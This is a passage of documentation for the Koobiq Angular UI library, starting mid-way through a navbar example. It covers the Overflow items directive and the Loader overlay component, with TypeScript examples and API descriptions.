                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().issues }}</div>
            </kbq-navbar-item>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Incidents"
                (click)="selected = items.Incidents"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().incidents }}</div>
            </a>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Policies"
                (click)="selected = items.Policies"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().policies }}</div>
            </a>

            <kbq-navbar-item
                #securityDropdownTrigger="kbqDropdownTrigger"
                [class.kbq-active]="selected === items.Security"
                [kbqDropdownTriggerFor]="securityDropdown"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().security }}</div>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <kbq-navbar-container>
            <div
                #trigger="kbqNotificationCenterTrigger"
                kbq-navbar-item
                kbqNotificationCenterTrigger
                [popoverHeight]="'500px'"
                [kbqNotificationCenterPanelClass]="'example-notification-center-panel'"
            >
                <i
                    kbq-icon="{{ notificationService.silentMode() ? 'kbq-bell-slash_16' : 'kbq-bell_16' }}"
                    color="contrast"
                ></i>
                <div kbq-navbar-title>{{ text().notifications }}</div>
                @if (trigger.unreadItemsCounter(); as unreadItems) {
                    <kbq-badge
                        [badgeColor]="notificationService.silentMode() ? 'fade-contrast' : 'error'"
                        [compact]="true"
                    >
                        {{ unreadItems }}
                    </kbq-badge>
                }
            </div>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-circle_16" color="success"></i>
                <div kbq-navbar-title>{{ text().systemMonitor }}</div>
            </a>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-user_16" color="contrast"></i>
                <span kbq-navbar-title>{{ text().administrator }}</span>
            </a>
        </kbq-navbar-container>

        <kbq-navbar-toggle />
    </kbq-vertical-navbar>

    <div class="layout layout-fill layout-align-center-center">
        <button
            kbq-button
            [color]="KbqComponentColors.Contrast"
            [kbqStyle]="KbqButtonStyles.Filled"
            (click)="pushNotification()"
        >
            {{ text().pushNotification }}
        </button>
    </div>
</div>
```

## Overflow items

- Entry point: `@koobiq/components/overflow-items`
- NgModule: `KbqOverflowItemsModule`
- Page: https://koobiq.io/en/components/overflow-items/overview

### Overview

Component for automatically hiding elements with dynamic adaptation to the container width.

Supports two modes of operation:

- Hiding from the end (default).
- Hiding from the start.

Configurable via the `reverseOverflowOrder` attribute.

**Example: Overflow items overview** (`overflow-items-overview`)

```ts overflow-items-overview-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'overflow-items-overview-example',
    imports: [KbqOverflowItemsModule, KbqBadgeModule, KbqToggleModule, FormsModule],
    template: `
        <kbq-toggle class="layout-margin-bottom-m" [(ngModel)]="reverseOverflowOrder">
            Reverse overflow order
        </kbq-toggle>

        <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems [reverseOverflowOrder]="reverseOverflowOrder()">
            @if (reverseOverflowOrder()) {
                <div class="layout-margin-right-xs" kbqOverflowItemsResult>
                    and {{ kbqOverflowItems.hiddenItemIDs().size }} more
                </div>
            }
            @for (item of items; track item) {
                <kbq-badge [kbqOverflowItem]="item" [class.layout-margin-right-xs]="!$last">
                    {{ item }}
                </kbq-badge>
            }
            @if (!reverseOverflowOrder()) {
                <div kbqOverflowItemsResult>and {{ kbqOverflowItems.hiddenItemIDs().size }} more</div>
            }
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            padding-right: var(--kbq-size-3xs);
        }

        .kbq-overflow-items {
            resize: horizontal;
            max-width: 100%;
            min-width: 150px;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
            padding: var(--kbq-size-xxs);
        }

        .kbq-overflow-items-result {
            text-wrap: nowrap;
            color: var(--kbq-foreground-contrast-secondary);
            user-select: none;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class OverflowItemsOverviewExample {
    readonly items = Array.from({ length: 20 }, (_, i) => `Item${i}`);
    readonly reverseOverflowOrder = model(false);
}
```

#### Order of hiding

The order in which elements are hidden is determined using the `order` attribute for the `KbqOverflowItem` directive.

**Example: Overflow items result offset** (`overflow-items-with-order`)

```ts overflow-items-with-order-example.ts
import { ChangeDetectionStrategy, Component, computed, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'overflow-items-with-order-example',
    imports: [KbqOverflowItemsModule, KbqBadgeModule, KbqToggleModule, FormsModule],
    template: `
        <kbq-toggle class="layout-margin-bottom-m" [(ngModel)]="reverseOverflowOrder">
            Reverse overflow order
        </kbq-toggle>

        <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems [reverseOverflowOrder]="reverseOverflowOrder()">
            @for (item of items; track $index) {
                @let isLastHiddenItem = $index === 5;

                <kbq-badge
                    [kbqOverflowItem]="item"
                    [class.layout-margin-right-xs]="!$last"
                    [order]="isLastHiddenItem ? this.lastItemOrder() : $index"
                    [badgeColor]="isLastHiddenItem ? badgeColor.Theme : badgeColor.FadeContrast"
                >
                    {{ item }}
                </kbq-badge>
            }
            <div class="layout-margin-right-xs" kbqOverflowItemsResult>
                and {{ kbqOverflowItems.hiddenItemIDs().size }} more
            </div>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            padding-right: var(--kbq-size-3xs);
        }

        .kbq-overflow-items {
            resize: horizontal;
            max-width: 100%;
            min-width: 90px;
            min-height: var(--kbq-size-xxl);
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
            padding: var(--kbq-size-xxs);
        }

        .kbq-overflow-items-result {
            text-wrap: nowrap;
            color: var(--kbq-foreground-contrast-secondary);
            user-select: none;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class OverflowItemsWithOrderExample {
    readonly items = Array.from({ length: 20 }, (_, i) => `Item${i}`);
    readonly badgeColor = KbqBadgeColors;
    readonly reverseOverflowOrder = model(false);
    readonly lastItemOrder = computed(() => (this.reverseOverflowOrder() ? +Infinity : -Infinity));
}
```

#### Always visible elements

If you need some elements to always remain visible, you can use the `alwaysVisible` attribute for the `KbqOverflowItem` directive.

**Example: Overflow items with always visible item** (`overflow-items-with-always-visible-item`)

```ts overflow-items-with-always-visible-item-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'overflow-items-with-always-visible-item-example',
    imports: [KbqOverflowItemsModule, KbqBadgeModule, KbqToggleModule, FormsModule],
    template: `
        <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
            @for (item of items; track item.id) {
                <kbq-badge
                    [kbqOverflowItem]="item.id"
                    [class.layout-margin-right-xs]="!$last"
                    [alwaysVisible]="item.alwaysVisible"
                    [badgeColor]="item.alwaysVisible ? badgeColor.Theme : badgeColor.FadeContrast"
                >
                    {{ item.id }}
                </kbq-badge>
            }
            <div kbqOverflowItemsResult>and {{ kbqOverflowItems.hiddenItemIDs().size }} more</div>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            padding-right: var(--kbq-size-3xs);
        }

        .kbq-overflow-items {
            resize: horizontal;
            max-width: 100%;
            min-width: 150px;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
            padding: var(--kbq-size-xxs);
        }

        .kbq-overflow-items-result {
            text-wrap: nowrap;
            color: var(--kbq-foreground-contrast-secondary);
            user-select: none;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class OverflowItemsWithAlwaysVisibleItemExample {
    readonly items = Array.from({ length: 20 }, (_, i) => ({
        id: `Item${i}`,
        alwaysVisible: i === 3
    }));
    readonly badgeColor = KbqBadgeColors;
}
```

#### Element alignment

Element alignment within the container is set using the CSS property [`justify-content`](https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content).

**Example: Overflow items justify content** (`overflow-items-justify-content`)

```ts overflow-items-justify-content-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'overflow-items-justify-content-example',
    imports: [KbqOverflowItemsModule, KbqBadgeModule, KbqSelectModule, FormsModule],
    template: `
        <kbq-form-field>
            <kbq-select [(ngModel)]="justifyContent">
                @for (option of justifyContentOptions; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>

        <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems [style.justify-content]="justifyContent()">
            @for (item of items; track item) {
                <kbq-badge [kbqOverflowItem]="item" [class.layout-margin-right-xs]="!$last">
                    {{ item }}
                </kbq-badge>
            }
            <div class="layout-margin-right-xs" kbqOverflowItemsResult>
                and {{ kbqOverflowItems.hiddenItemIDs().size }} more
            </div>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            padding-right: var(--kbq-size-3xs);
        }

        .kbq-overflow-items {
            resize: horizontal;
            max-width: 100%;
            min-width: 150px;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
            padding: var(--kbq-size-xxs);
        }

        .kbq-overflow-items-result {
            text-wrap: nowrap;
            color: var(--kbq-foreground-contrast-secondary);
            user-select: none;
        }

        .kbq-form-field {
            margin-bottom: var(--kbq-size-m);
            max-width: 200px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class OverflowItemsJustifyContentExample {
    readonly items = Array.from({ length: 7 }, (_, i) => `Item${i}`);
    readonly justifyContentOptions = ['center', 'start', 'end', 'space-between', 'space-around'] as const;
    readonly justifyContent = model(this.justifyContentOptions[0]);
}
```

#### Orientation

By default, elements are hidden horizontally. If you need to hide elements vertically, you can use the `orientation="vertical"` attribute.

**Example: Overflow items with vertical orientation** (`overflow-items-with-vertical-orientation`)

```ts overflow-items-with-vertical-orientation-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'overflow-items-with-vertical-orientation-example',
    imports: [KbqOverflowItemsModule, KbqBadgeModule, KbqToggleModule, FormsModule],
    template: `
        <kbq-toggle class="layout-margin-bottom-m" [(ngModel)]="reverseOverflowOrder">
            Reverse overflow order
        </kbq-toggle>

        <div class="example-resize-container">
            <div
                #kbqOverflowItems="kbqOverflowItems"
                kbqOverflowItems
                orientation="vertical"
                [reverseOverflowOrder]="reverseOverflowOrder()"
            >
                @if (reverseOverflowOrder()) {
                    <div kbqOverflowItemsResult class="layout-margin-bottom-xs">
                        and {{ kbqOverflowItems.hiddenItemIDs().size }} more
                    </div>
                }
                @for (item of items; track item.id) {
                    <kbq-badge
                        [class.layout-margin-bottom-xs]="!$last"
                        [kbqOverflowItem]="item.id"
                        [alwaysVisible]="item.alwaysVisible"
                        [badgeColor]="item.alwaysVisible ? badgeColor.Theme : badgeColor.FadeContrast"
                    >
                        {{ item.id }}
                    </kbq-badge>
                }
                @if (!reverseOverflowOrder()) {
                    <div kbqOverflowItemsResult>and {{ kbqOverflowItems.hiddenItemIDs().size }} more</div>
                }
            </div>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            height: 400px;
        }

        .example-resize-container {
            display: flex;
            overflow: hidden;
            resize: vertical;
            height: 100%;
            max-height: 100%;
            min-height: 60px;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
            padding: var(--kbq-size-xxs);
            width: 100px;
        }

        .kbq-overflow-items-result {
            text-wrap: nowrap;
            text-align: center;
            color: var(--kbq-foreground-contrast-secondary);
            user-select: none;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class OverflowItemsWithVerticalOrientationExample {
    readonly items = Array.from({ length: 20 }, (_, i) => ({
        id: `Item${i}`,
        alwaysVisible: i === 8
    }));
    readonly reverseOverflowOrder = model(false);
    readonly badgeColor = KbqBadgeColors;
}
```

#### Delay when hiding/showing

The delay for hiding/showing elements is set using the `debounceTime` attribute. Enabling this option positively
affects performance when there are many elements or when the container size changes frequently.

```html
<div kbqOverflowItems [debounceTime]="300">...</div>
```

#### Additional target for ResizeObserver

Sometimes the container size can change not only when the browser window is resized, but also when other elements on the page change size (for example: [Sidebar](https://koobiq.io/en/components/sidebar.md)). To track such changes, you can use the `additionalResizeObserverTargets` attribute.
The attribute accepts either a single element or an array of elements whose size changes will trigger recalculation of hidden elements. By default, `document.body` is tracked.

```html
<div kbqOverflowItems [additionalResizeObserverTargets]="sidebarContainerElement">...</div>
```

### API

#### Directives

##### KbqOverflowItem (directive)

Directive for the item that can be hidden by the `KbqOverflowItems` directive.

```ts
@Directive({ selector: '[kbqOverflowItem]', exportAs: 'kbqOverflowItem' })
class KbqOverflowItem extends ElementVisibilityManager {
    readonly id = input.required<unknown>({ alias: 'kbqOverflowItem' });
    readonly order = input<number | null>(null);
    readonly alwaysVisible = input<boolean>(false);
}
```

- `[kbqOverflowItem]`: `unknown` — Unique identifier for the item.
- `[order]`: `number | null` — Defines the order in which the item is processed in the overflow container,
  without changing its original position in the `QueryList`.
- `[alwaysVisible]`: `boolean` — Element with this attribute will be ignored when hiding and will always remain visible. Defaults to `false`.

##### KbqOverflowItems (directive)

Directive for managing the visibility of items that overflow the container.

```ts
@Directive({ selector: '[kbqOverflowItems]', exportAs: 'kbqOverflowItems' })
class KbqOverflowItems {
    readonly reverseOverflowOrder = input<boolean>(false);
    readonly debounceTime = input<number>(0);
    readonly additionalResizeObserverTargets = input<Element | Element[]>(
        this.document.body
    );
    readonly orientation = input<KbqOrientation>('horizontal');
    readonly wrap = input<KbqFlexWrap>('nowrap');
    readonly changes = output<ReadonlySet<unknown>>();
    readonly hiddenItemIDs: Signal<ReadonlySet<unknown>>;
}
```

- `[reverseOverflowOrder]`: `boolean` — Whether the overflow order should be reversed. Defaults to `false`.

  ```text
  [0, 1, hidden, hidden] ---> [hidden, hidden, 2, 3]
  ```
- `[debounceTime]`: `number` — Debounce time for recalculating items visibility. Defaults to `0`.
- `[additionalResizeObserverTargets]`: `Element | Element[]` — List of additional elements to observe for resize changes. Defaults to `document.body`.
- `[orientation]`: `KbqOrientation` — Defines the orientation of the overflow items. Defaults to `'horizontal'`.
- `[wrap]`: `KbqFlexWrap` — Defines the wrap of the overflow items. Defaults to `'nowrap'`.
- `(changes)`: `ReadonlySet<unknown>` — Emits the set of hidden items after every recalculation, also when it has not changed: a recalculation shows every
  item before it hides the overflown ones again, so a consumer that hides items itself re-applies that here.
- `hiddenItemIDs`: `Signal<ReadonlySet<unknown>>` — Set of hidden item IDs.

##### KbqOverflowItemsResult (directive)

Directive for displaying the result of hidden items by the `KbqOverflowItems` directive.

```ts
@Directive({
    selector: '[kbqOverflowItemsResult]',
    exportAs: 'kbqOverflowItemsResult'
})
class KbqOverflowItemsResult extends ElementVisibilityManager {}
```

### Examples

#### List with height limit

Items wrap across multiple lines and are hidden once they exceed the container height,
unlike the default nowrap mode where items overflow along a single line.

**Example: Overflow items as clamped list** (`overflow-items-as-clamped-list`)

```ts overflow-items-as-clamped-list-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqOverflowItem, KbqOverflowItems, KbqOverflowItemsResult } from '@koobiq/components/overflow-items';
import { KbqTooltipTrigger } from '@koobiq/components/tooltip';

@Component({
    selector: 'overflow-items-as-clamped-list-example',
    imports: [
        KbqOverflowItems,
        KbqOverflowItem,
        KbqOverflowItemsResult,
        KbqTooltipTrigger
    ],
    template: `
        <div
            #kbqOverflowItems="kbqOverflowItems"
            kbqOverflowItems
            style="max-height: 48px; min-width: 60px"
            [wrap]="'wrap'"
        >
            @for (item of countries; track item) {
                <span [kbqOverflowItem]="item" [class.layout-margin-right-xs]="!$last">
                    <span>
                        {{ item }}
                    </span>
                    <span>,</span>
                </span>
            }
            <span kbqOverflowItemsResult [kbqTooltip]="template" [kbqTooltipArrow]="false">
                and {{ kbqOverflowItems.hiddenItemIDs().size }}
            </span>

            <ng-template #template>
                @for (item of kbqOverflowItems.hiddenItemIDs().values(); track item) {
                    <span>
                        <span>{{ item }}</span>
                        @if (!$last) {
                            <span>,&nbsp;</span>
                        }
                    </span>
                }
            </ng-template>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            padding-right: var(--kbq-size-3xs);
        }

        .kbq-overflow-item {
            display: inline-flex;
        }

        .kbq-overflow-items {
            resize: horizontal;
            max-width: 100%;
            min-width: 150px;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
            padding: var(--kbq-size-xxs);
        }

        .kbq-overflow-items-result {
            text-wrap: nowrap;
            text-align: center;
            color: var(--kbq-foreground-contrast-secondary);
            user-select: none;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class OverflowItemsAsClampedListExample {
    protected countries = [
        'Australia',
        'Austria',
        'Argentina',
        'Belgium',
        'Brazil',
        'United Kingdom',
        'Germany',
        'Greece',
        'Denmark',
        'Egypt',
        'India',
        'Spain',
        'Italy',
        'Canada',
        'Mexico',
        'Netherlands',
        'Norway',
        'Poland',
        'Portugal',
        'Russia',
        'United States',
        'Thailand',
        'Turkey',
        'France',
        'Japan'
    ];
}
```

## Overlay

- Entry point: `@koobiq/components/loader-overlay`
- NgModule: `KbqLoaderOverlayModule`
- Page: https://koobiq.io/en/components/loader-overlay/overview

### Overview

The loading overlay displays an ongoing process within a block.

#### When to use

When you need to clearly show that a block is loading or a process is running. Before adding a loader overlay, clarify the loading time.

#### Component structure

- Semi-transparent backdrop
- Spinner
- Main text (optional)
- Caption (optional)

**Example: Loader-overlay** (`loader-overlay-overview`)

```ts loader-overlay-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLoaderOverlayModule } from '@koobiq/components/loader-overlay';

@Component({
    selector: 'loader-overlay-overview-example',
    imports: [KbqLoaderOverlayModule],
    template: `
        <div class="flex" style="height: 320px">
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text
            <kbq-loader-overlay [caption]="'18,7 МБ из 25 МБ — осталось 2 мин'" [text]="'Создание отчета'" />
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LoaderOverlayOverviewExample {}
```

#### How it works

The spinner overlay is a temporary state of a block. It appears in response to a user action (for example, clicking a submit button in a form) or a system process. After the process completes, the overlay and spinner disappear.

Elements behind the overlay must not be accessible for focus, selection, or clicking.

##### Default state

Semi-transparent overlay, spinner, main text.
It is recommended to choose the text individually.
Do not use single-word "Loading" text with an enlarged spinner.

**Example: Loader-overlay default** (`loader-overlay-default`)

```ts loader-overlay-default-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLoaderOverlayModule } from '@koobiq/components/loader-overlay';

@Component({
    selector: 'loader-overlay-default-example',
    imports: [KbqLoaderOverlayModule],
    template: `
        <div class="flex" style="height: 320px">
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text
            <kbq-loader-overlay [text]="'Загрузка'" />
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LoaderOverlayDefaultExample {}
```

##### Focus and keyboard navigation

The system prevents focusing on form elements covered by the overlay. The content behind the overlay cannot be selected or clicked either, and screen readers skip its elements. The overlay itself stays available: its text can be selected, and buttons and links on it, such as Cancel or a link to help, work as usual. Screen readers do not announce the overlay when it appears, so announce the loading separately, for example with `LiveAnnouncer` from `@angular/cdk/a11y`.

Once the overlay is hidden, focus returns to the element that had it before the overlay appeared, unless the user has moved it to another element. To move focus to another element behind the overlay after loading, do it once the overlay is hidden, for example in `afterNextRender`.

##### Display delay

If a request completes quickly, the spinner only flashes, which looks like a glitch. Show the overlay after 500 ms: a fast request completes earlier, and the overlay never appears. Once the overlay has appeared, keep it on screen for at least 300 ms.

Delay only the indicator: block a repeated action immediately, for example by disabling the button. Use the `kbqDelayLoadingIndicator` operator for the delay.

The delay does not prevent content from jumping. To keep content in place, keep the previous data until the new data arrives, reserve space for the block, or show a [skeleton](https://koobiq.io/en/components/skeleton.md): it appears immediately, without a delay.

**Example: Loader-overlay delay** (`loader-overlay-delay`)

```ts loader-overlay-delay-example.ts
import { ChangeDetectionStrategy, Component, DestroyRef, inject, model, signal } from '@angular/core';
import { takeUntilDestroyed, toObservable, toSignal } from '@angular/core/rxjs-interop';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { kbqDelayLoadingIndicator } from '@koobiq/components/core';
import { KbqLoaderOverlayModule } from '@koobiq/components/loader-overlay';
import { KbqToggleModule } from '@koobiq/components/toggle';
import { switchMap, timer } from 'rxjs';

@Component({
    selector: 'loader-overlay-delay-example',
    imports: [KbqLoaderOverlayModule, KbqButtonModule, KbqButtonToggleModule, KbqToggleModule, FormsModule],
    template: `
        <div class="example__controls">
            <kbq-toggle [(ngModel)]="delay">Display delay</kbq-toggle>

            <kbq-button-toggle-group aria-label="Request duration" [(ngModel)]="duration">
                <kbq-button-toggle [value]="200">200 ms</kbq-button-toggle>
                <kbq-button-toggle [value]="600">600 ms</kbq-button-toggle>
                <kbq-button-toggle [value]="2000">2 s</kbq-button-toggle>
            </kbq-button-toggle-group>

            <button kbq-button [disabled]="loading()" (click)="load()">Refresh</button>
        </div>

        <div class="example__card">
            <div class="kbq-text-normal">Updates</div>
            <div class="kbq-display-compact">{{ updates() }}</div>
            @if (showOverlay()) {
                <kbq-loader-overlay size="compact" text="Updating..." />
            }
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .example__controls {
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            gap: var(--kbq-size-l);
        }

        .example__card {
            padding: var(--kbq-size-l);
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-m);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LoaderOverlayDelayExample {
    private readonly destroyRef = inject(DestroyRef);
    protected readonly delay = model(true);
    protected readonly duration = model(200);
    protected readonly updates = signal(0);
    protected readonly loading = signal(false);
    private readonly loading$ = toObservable(this.loading);
    protected readonly showOverlay = toSignal(
        toObservable(this.delay).pipe(
            switchMap((delay) => (delay ? this.loading$.pipe(kbqDelayLoadingIndicator()) : this.loading$))
        ),
        { initialValue: false }
    );

    protected load(): void {
        this.loading.set(true);

        timer(this.duration())
            .pipe(takeUntilDestroyed(this.destroyRef))
            .subscribe(() => {
                this.updates.update((value) => value + 1);
                this.loading.set(false);
            });
    }
}
```

#### Design and animation

##### Color and transparency

If an overlay covers only part of the screen, its edge remains visible. The transition looks seamless when the overlay color matches the container surface. Use the `surface` attribute to select the appearance.

If `surface` is not set, the deprecated `transparent` and `card` attributes select a surface: `transparent="true"` corresponds to `surface="bg"`, `transparent="false"` to `surface="solid"`, and `card="true"` to `surface="card"`. The `card` attribute takes precedence over `transparent`.

| `surface` value | Description                              |
| --------------- | ---------------------------------------- |
| `bg`            | Primary background                       |
| `bg-secondary`  | Secondary background                     |
| `bg-tertiary`   | Tertiary background                      |
| `card`          | Dropdown menus, modal windows, and cards |
| `solid`         | Opaque backdrop                          |

**Example: Loader-overlay background** (`loader-overlay-background`)

```ts loader-overlay-background-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLoaderOverlayModule, KbqLoaderOverlaySurface } from '@koobiq/components/loader-overlay';

@Component({
    selector: 'loader-overlay-background-example',
    imports: [KbqLoaderOverlayModule],
    template: `
        <div class="example__grid">
            @for (surface of surfaces; track surface.value) {
                <div class="example__item {{ surface.surfaceClass }}">
                    <div class="example__content">
                        <p class="example__paragraph kbq-text-normal">{{ content }}</p>
                        <p class="example__paragraph example__paragraph_fade kbq-text-normal">
                            {{ contentFade }}
                        </p>
                    </div>
                    <kbq-loader-overlay
                        class="example__overlay"
                        size="compact"
                        [text]="surface.value"
                        [surface]="surface.value"
                    />
                </div>
            }
        </div>
    `,
    styles: `
        :host {
            display: block;

            --example-padding: var(--kbq-size-l);
            --example-overlay-transition-duration: 200ms;
            --example-overlay-transition-easing: cubic-bezier(0.23, 1, 0.32, 1);
        }

        .example__grid {
            display: grid;
            grid-template-columns: repeat(4, minmax(0, 1fr));
            gap: 20px;
        }

        .example__item {
            --example-overlay-size-reduction: 0px;
            --example-overlay-inset-y: 0px;
            --example-overlay-inset-x: 0px;

            display: flex;
            flex-direction: column;
            min-width: 0;
            aspect-ratio: 16 / 9;
            box-sizing: border-box;
            padding: var(--example-padding) var(--example-padding) 0;
            border-radius: var(--kbq-size-m);
            grid-column: span 2;
        }

        .example__item:nth-child(5) {
            grid-column: 2 / span 2;
        }

        .example__overlay {
            inset: var(--example-overlay-inset-y) auto auto var(--example-overlay-inset-x);
            width: calc(100% - var(--example-overlay-size-reduction));
            height: calc(100% - var(--example-overlay-size-reduction));
            box-sizing: border-box;
            transition:
                top var(--example-overlay-transition-duration) var(--example-overlay-transition-easing),
                left var(--example-overlay-transition-duration) var(--example-overlay-transition-easing),
                width var(--example-overlay-transition-duration) var(--example-overlay-transition-easing),
                height var(--example-overlay-transition-duration) var(--example-overlay-transition-easing);
        }

        @media (hover: hover) and (pointer: fine) {
            .example__item:hover {
                --example-overlay-size-reduction: var(--example-padding);
                --example-overlay-inset-y: calc(var(--example-padding) * -1);
                --example-overlay-inset-x: calc(var(--example-padding) * 2);
            }
        }

        @media (prefers-reduced-motion: reduce) {
            .example__overlay {
                transition: none;
            }
        }

        .example__content {
            flex: 1;
            overflow: hidden;
        }

        .example__paragraph {
            margin: 0;
        }

        .example__paragraph + .example__paragraph {
            margin-top: 4px;
        }

        .example__paragraph_fade {
            color: var(--kbq-foreground-contrast-secondary);
        }

        .example__item_bg {
            background: var(--kbq-background-bg);
        }

        .example__item_bg-secondary {
            background: var(--kbq-background-bg-secondary);
        }

        .example__item_bg-tertiary {
            background: var(--kbq-background-bg-tertiary);
        }

        .example__item_card {
            background: var(--kbq-background-card);
        }

        @media (max-width: 600px) {
            .example__grid {
                grid-template-columns: 1fr;
            }

            .example__item,
            .example__item:nth-child(5) {
                grid-column: auto;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LoaderOverlayBackgroundExample {
    protected readonly content =
        'Content behind the overlay becomes barely visible, as if hidden in fog. The interface remains recognizable while loading continues, but the main actions are temporarily unavailable.';
    protected readonly contentFade =
        'The overlay blends seamlessly with the background, leaving no visible boundary around its edges. Matching the overlay color to the surface keeps the container connected to the surrounding interface.';

    protected readonly surfaces: ReadonlyArray<{
        value: KbqLoaderOverlaySurface;
        surfaceClass: string;
    }> = [
        { value: 'bg', surfaceClass: 'example__item_bg' },
        { value: 'bg-secondary', surfaceClass: 'example__item_bg-secondary' },
        { value: 'bg-tertiary', surfaceClass: 'example__item_bg-tertiary' },
        { value: 'card', surfaceClass: 'example__item_card' },
        { value: 'solid', surfaceClass: 'example__item_bg' }
    ];
}
```

##### Horizontal alignment and width

The overlay covers the full width and height of the container it is displayed over.

##### Vertical alignment

The content of the overlay is centered vertically.

##### Enlarged spinner

When it is necessary to display the loading process on the entire page, an enlarged spinner is used. Do not use single-word "Loading" text with an enlarged spinner.

**Example: Loader-overlay large** (`loader-overlay-large`)

```ts loader-overlay-large-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLoaderOverlayModule } from '@koobiq/components/loader-overlay';
import { KbqProgressSpinnerModule } from '@koobiq/components/progress-spinner';

@Component({
    selector: 'loader-overlay-large-example',
    imports: [KbqLoaderOverlayModule, KbqProgressSpinnerModule],
    template: `
        <div class="flex" style="height: 320px">
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text
            <kbq-loader-overlay [text]="'Загрузка данных'">
                <kbq-progress-spinner size="big" kbq-loader-overlay-indicator [mode]="'indeterminate'" />
            </kbq-loader-overlay>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LoaderOverlayLargeExample {}
```

